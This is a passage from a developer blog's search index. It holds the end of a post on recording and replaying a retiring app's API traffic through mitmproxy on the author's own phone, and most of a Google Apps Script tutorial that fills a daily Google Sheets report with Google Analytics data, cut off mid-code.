Downloaded”. Click to enter. Click to enter, in the upper right corner “Install”, enter the phone password to complete the installation.Go back to Settings -> “General” -> “About” -> At the bottom “Certificate Trust Settings” -> Enable “mitmproxy”. “Continue” to complete the activation.At this point, we have completed all the preliminary work for the man-in-the-middle attack. Remember that all the traffic on your phone will go through the proxy from your Mac computer. After the operation is completed, remember to go back to the network settings on your phone and turn off the proxy server settings, otherwise the phone’s WiFi will not be able to connect to the external network.Go back to Terminal mitmproxy, and while operating the App on your phone, you can see all the captured API request records.Each request can be entered to view detailed Request & Response content:The above is the basic setup and actual work of mitmproxy.3. Sniff and Understand the API StructureNext, we will use mitmproxy’s mitmdump service combined with the mitmproxy-rodo addons I developed earlier to record and replay requests. My implementation principle is to calculate the Hash value of the Request parameters. When replaying, the request is taken to calculate the Hash again. If the same Hash value backup Response is found locally, it will be returned. If there are multiple requests with the same Hash value, they will be stored and replayed in order.We can first use the above method to sniff the App’s API (or use Proxyman), observe which fields might affect Hash Mapping, and record them for later exclusion settings. For example, some APIs always carry the ?ts parameter, which does not affect the returned content but affects the Hash value calculation, making it impossible to find the local backup. We need to pick it out and exclude it in the later settings.4. Set up mitmproxy-rodo:Use the open-source recording and replay script I wrote. For detailed parameter settings, please refer to the instructions of the open-source project.git clone git@github.com:ZhgChgLi/mitmproxy-rodo.gitcd mitmproxy-rodoFill in the parameters picked out in step 3 into the config.json configuration file:{ \"ignored\": { \"*\": { \"*\": { \"*\": { \"iterable\": false, \"enables\": [ \"query\", \"formData\" ], \"rules\": { \"query\": { \"parameters\": [ \"ts\", \"connect_id\", \"device_id\", \"device_name\", ] }, \"formData\": { \"parameters\": [ \"aidck\", \"device_id\", \"ver_name\", ] } } } } } }}The above parameters will be excluded when calculating the Hash value, and specific exclusion rules can be set for individual Endpoint paths.5. Enable recording, and execute in Terminal:mitmdump -s rodo.py --set dumper_folder=zhgchgli --set config_file=config.json --set record=true \"~d zhgchg.li\" The ending \"~d zhgchg.li\" means to capture only the traffic of * .zhgchg.li. dumper_folder: Name of the output destination directory6. Operate the target App on the phone to execute the desired recording process path It is recommended to restart and reinstall the App to start with the cleanest state. It is recommended to record a video to help remember the reproduction steps.While operating, you will see many captured API Response Data in the output directory, stored according to Domain -> API path -> HTTP method -> Hash value -> Header-X / Content-X (if the same Hash request is made twice, it will be saved in order). To re-record, you can directly delete the output directory and let it capture again. If the returned data contains personal information, remember to adjust the captured content to anonymize it.[Meat] Replay the captured API Response DataAfter recording, be sure to try replaying once to test if the data is normal. If the Hash Hit is very low (almost no corresponding Response found during replay), you can repeat the sniffing steps to find the variable that affects the Hash value each time the App is executed and exclude it.Execute replay:mitmdump -s rodo.py --set dumper_folder=zhgchgli --set config_file=config.json dumper_folder: Name of the output destination directory By default, if there is no locally mapped Hash Response Data, it will directly return 404 to make the App blank, so you can know if the captured data is effective. The path page that was passed during recording and capturing can be displayed again during replay: OK! The path page that was not passed during recording and capturing shows a network error during replay: OK!RemembranceAt this point, we can reproduce the last moments before the App reached its final station through the restoration of bones and the final meat, to remember the time when everyone worked together to produce it.This article commemorates the team of my first job and the time when I transitioned from web backend development to iOS App development, learning while doing, and independently producing a product from scratch in 3-4 months, together with Android, design, PM supervisors, and backend colleagues. Although it is about to reach the end of its life cycle, I will always remember the bittersweet moments and the excitement of seeing it go live and being used for the first time. “Thank you”Contributions WelcomeIf you have the same regrets, I hope this article can help you, because mitmproxy-rodo was initially developed as a POC concept verification tool. Contributions, bug reports, or PRs to fix bugs are welcome.For any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Implementing Google Services RPA Automation with Google Apps Script", "url": "/posts/f6713ba3fee3/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, roboticprocessautomation, rpa-solutions, google-apps-script, google-sheets", "date": "2024-04-14 23:16:45 +0800", "snippet": "Implementing Google Services RPA Automation with Google Apps ScriptImplementing Robotic Process Automation for Google Workspace services using Google Apps ScriptPhoto by Possessed PhotographyRoboti...", "content": "Implementing Google Services RPA Automation with Google Apps ScriptImplementing Robotic Process Automation for Google Workspace services using Google Apps ScriptPhoto by Possessed PhotographyRobotic Process AutomationRPA (Robotic Process Automation) translates to “process automation robots” in Chinese. Looking back at human history, from hand-gathering to the Stone Age, then to agricultural civilization, from the industrial revolution of the last century to the information boom of the past 20 years, human work efficiency and productivity have grown exponentially. Along the way, RPA applications have been ubiquitous, such as waterwheels in the agricultural era (automated threshing work), textile machines in the industrial revolution (automated textile work), factory robotic arms (automated assembly work), and finally, the automated information-related work introduced in this article, such as automatic report queries, automatic notifications, and so on.Embarrassingly, I only recently learned this term. Since my first job (7 years ago), I have been doing RPA-related work, such as writing crawlers to collect statistics, automating CI/CD processes, automating data queries, automating stability data alerts, and automating daily routine operations. However, I used to refer to it simply as “automation.” It’s time to give it a proper name — RPA (Robotic Process Automation).Previously, my RPA efforts focused more on “writing code to automate tasks to solve single problems,” lacking comprehensive preliminary evaluation and analysis, the use of No/Low Code tools, regulations, operational monitoring, actual data statistics, continuous improvement, corporate culture promotion, and so on. These are all essential aspects of complete RPA. However, as mentioned earlier, I only recently learned about this professional field, so let me start with a practical article!There are many platforms providing RPA services, such as Automation Anywhere, UiPath, Microsoft Power Automate, Blue Prism, or Zapier, IFTTT, Automate.io. You need to choose the appropriate service based on the actual problem you want to solve and the platform.I recommend a free open-source browser-based RPA tool: Automa. Broadly speaking, transforming the active dependence between people or between people and tasks into dependence on platforms is also a form of RPA. For example: using project management tools like Asana/Jira to manage work tasks uniformly. Based on the concept of transforming active to passive, we can also implement an RPA for services that originally required manual checks for new notifications, automatically notifying us when there are new changes. For example: The previously implemented Gmail to Slack forwards specific notification emails to the work group.Evaluation of the Benefits of Robotic Process AutomationPreviously, in the “2021 Pinkoi Tech Career Talk — Unveiling the Secrets of a Highly Efficient Engineering Team”, we discussed the costs of small accumulations and interruptions in flow; assuming a routine repetitive task takes 15 minutes to solve each time, occurs 10 times a week, and wastes nearly 130 hours a year; if we also consider the cost of “context switching,” it could ultimately waste nearly 200 hours a year.2021 Pinkoi Tech Career Talk — Unveiling the Secrets of a Highly Efficient Engineering Team Context switching means that when we are highly focused on important tasks, we need to pause to handle other matters, and the time it takes to get back into the state after handling them.The benefits evaluation of developing RPA can refer to the figure below. As long as the development time required and the frequency encountered are greater than the time wasted, it is worth investing resources to implement:https://twitter.com/swyx/status/1196401158744502272 X-axis: Task frequency ex: 50/Day (50 times a day) Y-axis: How much manpower time is required to complete the task each time Time cost range is calculated over 5 years, the middle of the table indicates the manpower cost wasted over 5 years White indicates that the time cost of automation is greater than the benefits obtained, not worth improving Green indicates items worth automating Red strongly suggests converting to automation In addition to saving time, automated standardized processes can also reduce the chance of human error and improve stability.The Relationship Between Robotic Process Automation and AIWith the rise of AI, RPA is also frequently mentioned; but I think RPA has no direct relationship with AI, RPA existed long before the era of AI, and the benefits of AI adoption in enterprises may not be as high as the benefits of perfecting RPA. RPA is more about corporate culture and work habits; however, it is undeniable that AI can indeed help RPA reach the next level. For example, RPA used to only handle precise, routine tasks, but with AI, it can handle some fuzzy, more dynamic, and intelligent judgment tasks.Robotic Process Automation at Google WorkspaceGoogle Workspace (formerly G Suite) is our daily office collaboration partner. We use Gmail for email hosting, Google Docs for documents, Google Sheets for spreadsheets, Google Forms for forms, etc. The integration between these services or communication with internal and external systems requires us to implement RPA to complete.However, Google does not provide direct RPA services, which can be achieved through the following services: No Code: App Sheet (paid service), allows non-developers to directly build service integration automation through GUI. Low Code: Google Apps Script (free service), allows quick and direct bridging of Google services, external/internal systems with simple programming. Function as a Service: Cloud Functions (paid service with free tier), allows writing complete code and services, deployed and executed directly through Google Cloud.I haven’t used the No Code platform App Sheet, but I have quite a bit of experience with Cloud Functions and Google Apps Script. Here are some personal experiences and choices:Cloud Functions Requires deployment to execute Supports multiple programming languages: Node.js, Python, Java, Go, PHP, Ruby… Supports third-party package dependency management, installation, and usage Supports complete authentication mechanisms Maximum execution time limit: 60 minutes Pay-as-you-go: charged based on the number of invocations, execution time, different processors, and memory used Limited by cold start issues (if not called for a long time, the first call will take longer response time) Cannot directly integrate with Google services, needs to go through Auth/API authentication Free tier as followsCloud Functions offers a perpetual free tier for compute time resources, including allocations of GB-seconds and GHz-seconds. In addition to 2 million invocations, this free tier also provides 400,000 GB-seconds and 200,000 GHz-seconds of compute time, as well as 5 GB of internet data transfer per month. The free tier usage is calculated in equivalent USD amounts at the Tier 1 pricing level. Regardless of whether the function execution region uses Tier 1 and/or Tier 2 pricing, the equivalent USD amount will be allocated to you. However, when deducting the free tier quota, the system will be based on the function execution region’s tier (Tier 1 or Tier 2).Please note that even if you are using the free tier, you must have a valid billing account.In summary, Cloud Functions are recommended when more comprehensive and complex RPA integration functions or more external API integration needs are required.Previous cases using Cloud Functions include: Slack ChatGPT Conversation Bot Automatic Check-in BotI use it when integrating with non-Google Workspace services and bridging other external services.Google Apps Script Convenient, simple, and fast Completely free No cumbersome and complex Auth authentication required for service integration(Google Apps Script uses the currently executing account as the execution identity) Built-in scheduling and calendar trigger functions Use Google network to execute network requests Can only use Google Apps Script (based on JavaScript) for development Does not support package management tools, no version control function Due to security issues, customizing Request User-Agent information is not possible Execution time limit, the script must complete the work within 6 minutes, otherwise, it will be terminated. For other restrictions and quotas, please refer to the official GAS information:Previous cases using Google Apps Script include: Integrating Slack x Google Form x Google Sheet Integrating Slack x Gmail Integrating Google Analytics x Slack Integrating Firebase Crashlytics x Big Query x Slack Integrating Github x LineBotDue to execution time and API Request customization limitations, I only use Google Apps Script for simple and quick services; or when there is a need to integrate with Google services, I will prioritize using Google Apps Script (because using Cloud Functions requires implementing a complete Google service authentication process).Robotic Process Automation with Google Apps Script — Work Daily Report (Google Sheet x Google Analytics)Finally, we come to the topic of this article, using Google Apps Script to achieve Google service RPA automation.BackgroundThe product team needs to query Google Analytics data daily and fill it into the Google Sheet data report for team trend analysis; and publish the daily data content to the Dashboard screen so that all members can grasp the current situation.Colleagues need to spend about 30 minutes to complete this task every day when they arrive at the company; if there are other things to deal with, they need to wait until this routine work is completed or delay the release of daily data messages.Simple estimation of RPA benefits: Annual consumption expenditure:1 person x 30 mins x 365 days (holiday data also needs to be supplemented) = 182 hours Automation setup cost:In this case, it takes about 1 person x 5 days = 40 hours Therefore, we only need to invest one week of development time to solve the workload of the colleague responsible for data checking in the long run, allowing them to focus on more important tasks.GoalOur goal is to use Google Apps Script to create an RPA that automatically retrieves daily data from Google Analytics and internal system report APIs and fills it into Google Sheets, as well as setting up a Web UI Dashboard.Final Effect Google Sheet:https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit?usp=sharing Web GUI URL:https://script.google.com/macros/s/AKfycbz2Vk-ikU8DSXjpnLq9r6HNAn3zlNAosvDoItG0cxy0bmItRDSVyEzTdwsL2HyFUz99/exec The data is fake, purely for demo use; from 2024/04/13 onwards, it will be particularly low or remain at 0 because my zhgchg.li GA really has “0” traffic Q_Q.Tasks to Complete Create Google Apps Script, familiarize with the editor Obtain/create the corresponding date Sheet Connect to Google Analytics to retrieve data Populate data Set up scheduling for daily automatic executionDisclaimerFor the sake of explanation, the following code will be as less abstract as possible and more explanatory. You can modify it according to your actual needs. A complete public Google Sheet & Google Apps Script is attached at the end of the article. If you are too lazy to follow step by step, you can directly modify the template provided at the end.Step 1. Create Google Apps ScriptSimply select “Extensions” -> “Apps Script” on the report we want to automate to automatically create a Google Apps Script linked to the Google Sheet report.Alternatively, you can directly create it from the Google Apps Script homepage Google Apps Script, but this will not link to the Google Sheet. It is not necessary to link to operate the corresponding Google Sheet, both methods can be used. The difference lies in the ownership of the Script. If it is linked to the report, it belongs to the report owner; if created by yourself, it belongs to the creator. Ownership will affect whether the script will be invalidated or deleted if the account is deactivated due to resignation.After creating the script, we can first rename our script project from the top.Google Apps Script BasicsBefore moving on to the next step of writing the program, let’s supplement some basic knowledge of Google Apps Script.About the EditorThe SDK for Google services is introduced by default (no special introduction is required to call and use): CalendarApp Calendar DocumentApp Google Drive FormApp Google Form SpreadsheetApp Google Sheet GmailApp Gmail Others… File:You can add multiple .gs files to store different object codes for better organization; all files will execute under the same Namespace and lifecycle, so be careful as object names and variable names may overwrite each other if duplicated.In addition to .gs script files, you can also add .html HTML Template files for rendering Web UI. (This will be introduced later) Library:Libraries written by others (a.k.a Lib) can be imported using their Script ID. Of course, the scripts we write can also be deployed as libraries for others to use.There are also some tools packaged by experts that can be used, but the downside is that you can only search for Script IDs via Google, as there is no official library list for reference.e.g. HTML Parser Tool Cheer.io Script ID: 1ReeQ6WO8kKNxoaA_O0XEQ589cIrRvEBA9qcWpNqdOP17i47u6N9M5Xh0 Services:SDKs for Google services. Services not included by default can be added here.e.g. Google Analytics Data Undo, Redo Save or Control + s Run or Control + rErrors will be directly prompted in the Console and the script will terminate. DebugExecution will pause and the right-side Debug View will pop up when it hits a Break point (10). You can then continue execution.Errors will pause execution and the right-side Debug View will pop up. Target method for debugging and execution (Function Name)Only methods in the currently selected file can be chosen. View editor execution logs Another point to note is indentation. In some browsers, pressing “Control + [” to indent will trigger the back page action, so be careful!Google Apps Script GitHub Assistant Chrome Extension It is recommended to install this Extension to connect Google Apps Script with git, enabling version control to prevent accidental changes. If you encounter Push/Pull Errors or no response when clicking, please follow the steps above: “Options” -> Connect to Github or re-authenticate Google authorization.Logger MessageYou can use the following script with Debug to print Debug Logs in the Console.Logger.log(\"Hi\")Execution Logs and Error InformationLogs or errors during execution in the editor will be displayed directly. To check execution logs or errors during automatic execution, go to the “Executions” tab.Automatic TriggersThe “Triggers” tab allows you to set how methods in the script are automatically triggered. The automatic trigger conditions that can be set include: When Google Sheet: opens, edits, content changes, form submissions Scheduled triggers: every X minutes, X hours, X days, X weeks, X months Specific date triggers: YYYY-MM-DD HH:MM When Calendar: updatesError notification settings can be configured to notify you when the script execution fails.Grant Execution Permissions The first execution/deployment or adding new services/resources will require re-authorization. Subsequent executions will use the authorized identity, so ensure that the authorized (usually current) account has the necessary permissions for the resources/services (e.g., Google Sheet permissions).After the account selection pop-up appears, choose the account to authorize for execution (usually the current Google Apps Script account):The message “Google hasn’t verified this app” appears because the app we are developing is for personal use and does not need to be verified by Google.Simply click “Advanced” -> “Go to XXX (unsafe)” -> “Allow”:After completing the authorization, you can successfully run the script. If there are no changes to the resources, re-authorization is not required.2. Obtain/Create the Sheet for the Corresponding DateAfter understanding the basic knowledge, we can write the program for the first function.We create the following multiple files to store different objects:DailyReportStyle.gs field style object:class HeaderStyle { constructor() { this.color = \"#ffffff\"; this.backgroundColor = \"#e3284b\"; this.bold = false; this.size = 12; this.horizontalAlignment = \"center\"; this.verticalAlignment = \"middle\"; }}class ContentStyle { constructor() { this.color = \"#000000\"; this.backgroundColor = \"#ffffff\"; this.bold = false; this.size = 12; this.horizontalAlignment = \"center\"; this.verticalAlignment = \"middle\"; }}class HeaderDateStyle { constructor() { this.color = \"#ffffff\"; this.backgroundColor = \"#001a40\"; this.bold = true; this.size = 12; this.horizontalAlignment = \"center\"; this.verticalAlignment = \"middle\"; }}DailyReportField.gs field data object:class DailyReportField { constructor(name, headerStyle, contentStyle, format = null, value = null) { this.name = name; this.headerStyle = headerStyle; this.contentStyle = contentStyle; this.format = format; this.value = value; }}DailyReport.gs main report program logic:class DailyReport { constructor(sheetID, date) { this.separateSheet = SpreadsheetApp.openById(sheetID); this.date = date; this.sheetFields = [ new DailyReportField(\"Date\", new HeaderDateStyle(), new HeaderDateStyle()), new DailyReportField(\"Day of the Week\", new HeaderDateStyle(), new HeaderDateStyle()), new DailyReportField(\"Daily Traffic\", new HeaderStyle(), new ContentStyle(), \"#,##0\", '=INDIRECT(SUBSTITUTE(ADDRESS(1,COLUMN(),4),\"1\",\"\")&4)+INDIRECT(SUBSTITUTE(ADDRESS(1,COLUMN(),4),\"1\",\"\")&5)'), // =4(PC Traffic) + 5(Mobile Traffic) new DailyReportField(\"PC Traffic\", new HeaderStyle(), new ContentStyle(), \"#,##0\"), new DailyReportField(\"Mobile Traffic\", new HeaderStyle(), new ContentStyle(), \"#,##0\"), new DailyReportField(\"Registrations\", new HeaderStyle(), new ContentStyle(), \"#,##0\") ] // Explanation of the daily traffic formula: // 1. The COLUMN() function returns the column number of the current cell. // 2. ADDRESS(1, COLUMN(), 4) generates an absolute reference address with the given row number (result of `COLUMN()`) and fixed column number (1). The third parameter 4 indicates a relative address without any dollar signs ($). For example, if you use this function in any cell in the third column, it will return \"C1\". // 3. SUBSTITUTE(ADDRESS(1, COLUMN(), 4), \"1\", \"\") removes the number 1 from the address generated by the ADDRESS function, leaving only the column letter, e.g., \"C\". // 4. INDIRECT(SUBSTITUTE(ADDRESS(1, COLUMN(), 4), \"1\", \"\") & 4) here & 4 should actually be &4. The result of the `SUBSTITUTE` function is concatenated with the number 4, forming a string like \"C4\", and then the INDIRECT function converts this string into the corresponding cell reference. So, if you use this formula in any cell in column C, it will reference C4. // 5. Similarly, `INDIRECT(SUBSTITUTE(ADDRESS(1, COLUMN(), 4), \"1\", \"\") & 5)` references the cell in the fifth row of the same column. For example, if you use this formula in any cell in column C, it will reference C5. // 6. Finally, the values of the cells referenced by these two INDIRECT functions are added together. } execute() { const sheet = this.getSheet(); } // Get the target Sheet for the given date getSheet() { // Distinguish Sheets by month, find the current month's Sheet var thisMonthSheet = this.separateSheet.getSheetByName(this.getSheetName()); if (thisMonthSheet == null) { // If not found, create a new monthly Sheet thisMonthSheet = this.makeMonthSheet(); } return thisMonthSheet; } // Monthly Sheet naming convention getSheetName() { return Utilities.formatDate(this.date, \"GMT+8\", \"yyyy-MM\"); } // Create a new monthly Sheet makeMonthSheet() { // Add the current month's Sheet, move it to the first position var thisMonthSheet = this.separateSheet.insertSheet(this.getSheetName(), {index: 0}); thisMonthSheet.activate(); this.separateSheet.moveActiveSheet(1); // Add the first column, field names, set Pinned, width 200 thisMonthSheet.insertColumnsBefore(1, 1); thisMonthSheet.setFrozenColumns(1); thisMonthSheet.setColumnWidths(1, 1, 200); // Fill in the field names for(const currentRow in this.sheetFields) { const sheetField = this.sheetFields[currentRow]; const text = sheetField.name; const style = sheetField.headerStyle; const range = thisMonthSheet.getRange(parseInt(currentRow) + 1, 1); this.setContent(range, text, style); range.setHorizontalAlignment(\"left\"); } // Set row heights thisMonthSheet.setRowHeights(1, Object.keys(this.sheetFields).length, 30); // Set Pinned for the first and second rows (Date, Day of the Week) thisMonthSheet.setFrozenRows(2); // Add a summary column thisMonthSheet.insertColumnsAfter(thisMonthSheet.getLastColumn(), 1); // Add one column after the last column const summaryColumnIndex = thisMonthSheet.getLastColumn() + 1; // Fill in the summary column for(const currentRow in this.sheetFields) { const sheetField = this.sheetFields[currentRow]; const summaryRowIndex = parseInt(currentRow) + 1; const range = thisMonthSheet.getRange(summaryRowIndex, summaryColumnIndex); const style = sheetField.contentStyle; if (summaryRowIndex == 1) { // Date... this.setContent(range, \"Total\", style); } else if (summaryRowIndex == 2) { // Day of the Week...merge... const mergeRange = thisMonthSheet.getRange(1, summaryColumnIndex, summaryRowIndex, 1); this.setContent(mergeRange, \"Total\", style); mergeRange.merge(); } else { this.setContent(range, '=IFERROR(SUM(INDIRECT(SUBSTITUTE(ADDRESS(1, 1, 4), \"1\", \"\") & '+summaryRowIndex+'):INDIRECT(SUBSTITUTE(ADDRESS(1, COLUMN() - 1, 4), \"1\", \"\") & '+summaryRowIndex+')), 0)', style); // 1. The IFERROR(value, [value_if_error]) function is used to check if there is an error in the formula and return a specified value if there is an error. It takes two parameters: `value` is the expression or function to be calculated, and `value_if_error` is the value returned when value has an error. In this context, if the calculation in the SUM function has an error, it returns 0. // 2. The SUM(range) function is used to calculate the sum of all numbers in the range. // 3. The INDIRECT(ref_text, [is_A1_notation]) function converts a text string into a cell reference. Here, the INDIRECT function is used to dynamically generate the required reference range. // 4. The SUBSTITUTE(text, old_text, new_text, [instance_num]) function replaces specified text in a text string. Here, SUBSTITUTE is used to replace the \"1\" in the address returned by the ADDRESS function with other content. // 5. The ADDRESS(row, column, [abs_num], [a1], [sheet]) function returns the cell address corresponding to the given row and column numbers. Here, ADDRESS(1, 1, 4) generates the cell address of the first row and first column, but since abs_num is 4, the address does not include the worksheet name and fixed symbol $. Similarly, `ADDRESS(1, COLUMN() - 1, 4)` generates the cell address from the first row to the previous column of the current column. // 6. The COLUMN() function returns the column number of the current cell. // 7. summaryRowIndex = the row number } } return thisMonthSheet; } setContent(range, text, style) { if (String(text) != \"\") { range.setValue(text); } range.setBackgroundColor(style.backgroundColor); range.setFontColor(style.color); if (style.bold) { range.setFontWeight(\"bold\"); } range.setHorizontalAlignment(style.horizontalAlignment); range.setVerticalAlignment(style.verticalAlignment); range.setFontSize(style.size); range.setBorder(true, true, true, true, true, true, \"black\", SpreadsheetApp.BorderStyle.SOLID); }}Main.gs as the main program entry point:const targetGoogleSheetID = \"1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE\"// https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit#gid=275710641function debug() { var report = new DailyReport(targetGoogleSheetID, new Date()); report.execute();}After completion, we return to Main.gs, select “debug” and press debug to check if the execution result is correct and if there are any errors.If executed correctly, the report will show the current new month, with default fields and total fields. If it already exists, there will be no response.3. Integrate Google Analytics to fetch dataFirst, you need to add the “AnalyticsData” service:Use the GA4 Debug Tool to construct query conditions: https://ga-dev-tools.google/ga4/query-explorer/ You can compare and construct the filtering conditions in the GA 4 backend This article uses querying the number of Sessions as an example, distinguishing device GroupingLog in and authorize, then select the target resource:Note down the number displayed under the property, which is the GA Property ID you want to query.Set query parameters and Filter conditions:Press “Make Request” to get the Response result:You can simultaneously compare the data with the same conditions in the GA 4 backend to see if they match. If there is a significant difference, it might be because some Filter conditions were not added, so you need to check again.NoteA small pitfall discovered by a marketing colleague: some GA data may have delay issues, meaning the numbers you check today might be different from those you checked yesterday (e.g., bounce rate). Therefore, it’s best to backtrack the data a few days to ensure the final numbers are accurate. After confirming that the GA Debug Tool is working correctly, we can convert it into Google Apps Script.Add a new GAData.gs file:// Remember to add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined// GA Debug Tool: https://ga-dev-tools.web.app/ga4/query-explorer/class GAData { constructor(date) { this.date = date; const traffic = this.fetchGADailyUsage(); this.pc_traffic = traffic[\"desktop\"]; this.mobile_traffic = traffic[\"mobile\"]; } fetchGADailyUsage() { const dimensionPlatform = AnalyticsData.newDimension(); dimensionPlatform.name = \"deviceCategory\"; const metric = AnalyticsData.newMetric(); metric.name = \"sessions\"; const dateRange = AnalyticsData.newDateRange(); // Default query for data within the given date range e.g. 2024-01-01 ~ 2024-01-01 dateRange.startDate = this.getDateString(); dateRange.endDate = this.getDateString(); // Filter Example: // const filterExpression = AnalyticsData.newFilterExpression(); // const filter = AnalyticsData.newFilter(); // filter.fieldName = \"landingPagePlusQueryString\"; // const stringFilter = AnalyticsData.newStringFilter() // stringFilter.value = \"/life|/article|/chat|/house|/event/230502|/event/230310\"; // stringFilter.matchType = \"PARTIAL_REGEXP\"; // filter.stringFilter = stringFilter; // filterExpression.filter = filter; const request = AnalyticsData.newRunReportRequest(); request.dimensions = [dimensionPlatform]; request.metrics = [metric]; request.dateRanges = dateRange; // Filter Example: // const filterExpression = AnalyticsData.newFilterExpression(); // filterExpression.expression = filterExpression; // request.dimensionFilter = filterExpression; // or Not // const notFilterExpression = AnalyticsData.newFilterExpression(); // notFilterExpression.notExpression = filterExpression; // request.dimensionFilter = notFilterExpression; const report = AnalyticsData.Properties.runReport(request, \"properties/\" + gaPropertyId).rows; // No data if (report == undefined) { return {\"desktop\": 0, \"mobile\": 0}; } // [{metricValues=[{value=4517}], dimensionValues=[{value=mobile}]}, {metricValues=[{value=3189}], dimensionValues=[{value=desktop}]}, {metricValues=[{value=63}], dimensionValues=[{value=tablet}]}] var result = {}; report.forEach(function(element) { result[element.dimensionValues[0].value] = element.metricValues[0].value; }); return result; } getDateString() { return Utilities.formatDate(this.date, \"GMT+8\", \"yyyy-MM-dd\"); }}Main.gs Add test content:const targetGoogleSheetID = \"1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE\";// https://docs.google.com/spreadsheets/d/1-9lZCpsu3E7eDmO-lMkXJXQ6Y6KK4SiyU6uBODcDcFE/edit#gid=275710641const gaPropertyId = \"318495208\";function debug() { var report = new DailyReport(targetGoogleSheetID, new Date()); report.execute(); // var gaData = new GAData(new Date()); Logger.log(gaData);}Press run or debug to get the program fetch result:OK! The comparison matches.When this step is completed, the directory file structure is as shown above.4. Fill in the dataAfter creating the Sheet and checking the data, the next step is to fill in the data into the fields.Adjust DailyReport.gs to add logic for adding fields & filling data by date:class DailyReport { constructor(sheetID, date, gaData, inHouseReportData) { this.separateSheet = SpreadsheetApp.openById(sheetID); this.date = date; const dateString = Utilities.formatDate(date, \"GMT+8\", \"yyyy/MM/dd\"); const weekString = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"][date.getDay()]; // Get the day of the week, Sunday is 0, Monday is 1, and so on this.sheetFields = [ new DailyReportField(\"Date\", new HeaderDateStyle(), new HeaderDateStyle(), null, dateString), new DailyReportField(\"Day\", new HeaderDateStyle(), new HeaderDateStyle(), null, weekString), new DailyReportField(\"Daily Traffic\", new HeaderStyle(), new ContentStyle(), \"#,##0\", '=INDIRECT(SUBSTITUTE(ADDRESS(1,COLUMN(),4),\"1\",\"\")&4)+INDIRECT(SUBSTITUTE(ADDRESS(1,COLUMN(),4),\"1\",\"\")&5)'), // =4(PC Traffic) + 5(Mobile Traffic) new DailyReportField(\"PC Traffic\", new HeaderStyle(), new ContentStyle(), \"#,##0\", gaData.pc_traffic), new DailyReportField(\"Mobile Traffic\", new HeaderStyle(), new ContentStyle(), \"#,##0\", gaData.mobile_traffic), new DailyReportField(\"Registrations\", new HeaderStyle(), new ContentStyle(), \"#,##0\", inHouseReportData.registers) ] } execute() { const sheet = this.getSheet(); const dateColumnIndex = this.makeOrGetDateColumn(sheet); // Get the existing update or create a new field // Fill in the field content for(const currentRow in this.sheetFields) { const sheetField = this.sheetFields[currentRow]; const rowIndex = parseInt(currentRow) + 1; if (rowIndex != null) { const range = sheet.getRange(rowIndex, dateColumnIndex); const text = sheetField.value; const style = sheetField.contentStyle; this.setContent(range, text, style); this.setFormat(range, sheetField.format); } } } // Get the target Sheet for the given date getSheet() { // Distinguish Sheets by month, find the current month's Sheet var thisMonthSheet = this.separateSheet.getSheetByName(this.getSheetName()); if (thisMonthSheet == null) { // If not found, create a new month Sheet thisMonthSheet = this.makeMonthSheet(); } return thisMonthSheet; } // Month Sheet naming getSheetName() { return Utilities.formatDate(this.date, \"GMT+8\", \"yyyy-MM\"); } // Create a new month Sheet makeMonthSheet() { // Add the current month's Sheet, move to the first position var thisMonthSheet = this.separateSheet.insertSheet(this.getSheetName(), {index: 0}); thisMonthSheet.activate(); this.separateSheet.moveActiveSheet(1); // Add the first column, field name, set Pinned, width 200 thisMonthSheet.insertColumnsBefore(1, 1); thisMonthSheet.setFrozenColumns(1); thisMonthSheet.setColumnWidths(1, 1, 200); // Fill in the field names for(const currentRow in this.sheetFields) { const sheetField = this.sheetFields[currentRow]; const text = sheetField.name; const style = sheetField.headerStyle; const range = thisMonthSheet.getRange(parseInt(currentRow) + 1, 1); this.setContent(range, text, style); range.setHorizontalAlignment(\"left\"); } // Set row height thisMonthSheet.setRowHeights(1, Object.keys(this.sheetFields).length, 30); // Set Pinned for the first and second rows (Date, Day) thisMonthSheet.setFrozenRows(2); // Add total field thisMonthSheet.insertColumnsAfter(thisMonthSheet.getLastColumn(), 1); // Add a column after the last column const summaryColumnIndex = thisMonthSheet.getLastColumn() + 1; // Fill in the total field for(const currentRow in this.sheetFields) { const sheetField = this.sheetFields[currentRow]; const summaryRowIndex = parseInt(currentRow) + 1; const range = thisMonthSheet.getRange(summaryRowIndex, summaryColumnIndex); const style = sheetField.contentStyle; if (summaryRowIndex == 1) { // Date... this.setContent(range, \"Total\", style); } else if (summaryRowIndex == 2) { // Day...merge... const mergeRange = thisMonthSheet.getRange(1, summaryColumnIndex, summaryRowIndex, 1); this.setContent(mergeRange, \"Total\", style); mergeRange.merge(); } else { this.setContent(range, '=IFERROR(SUM(INDIRECT(SUBSTITUTE(ADDRESS(1, 1, 4), \"1\", \"\") & '+summaryRowIndex+'):INDIRECT(SUBSTITUTE(ADDRESS(1, COLUMN() - 1, 4), \"1\", \"\") & '+summaryRowIndex+')), 0)', style); } } return thisMonthSheet; } // Create or get the date field // Add a field from the most recent day makeOrGetDateColumn(sheet) { const firstRowColumnsRange = sheet.getRange(1, 1, 1, sheet.getLastColumn()); // Get the data range of the first row (date) const firstRowColumns = firstRowColumnsRange.getValues()[0]; // Get the values of the data range, 0 = first row var columnIndex = firstRowColumns.findIndex((date) => (date instanceof Date && Utilities.formatDate(date, \"GMT+8\", \"yyyy/MM/dd\") == Utilities.formatDate(this.date, \"GMT+8\", \"yyyy/MM/dd\"))); // Find the index of the corresponding date field if (columnIndex < 0) { // Not Found, find the position of the previous day var preDate = new Date(this.date); preDate.setDate(preDate.getDate() - 1); while(preDate.getMonth() == this.date.getMonth()) { columnIndex = firstRowColumns.findIndex((date) => (date instanceof Date && Utilities.formatDate(date, \"GMT+8\", \"yyyy/MM/dd\") == Utilities.formatDate(preDate, \"GMT+8\", \"yyyy/MM/dd\"))); if (columnIndex >= 0) { break; } preDate.setDate(preDate.getDate() - 1); } if (columnIndex >= 0) { columnIndex += 1; 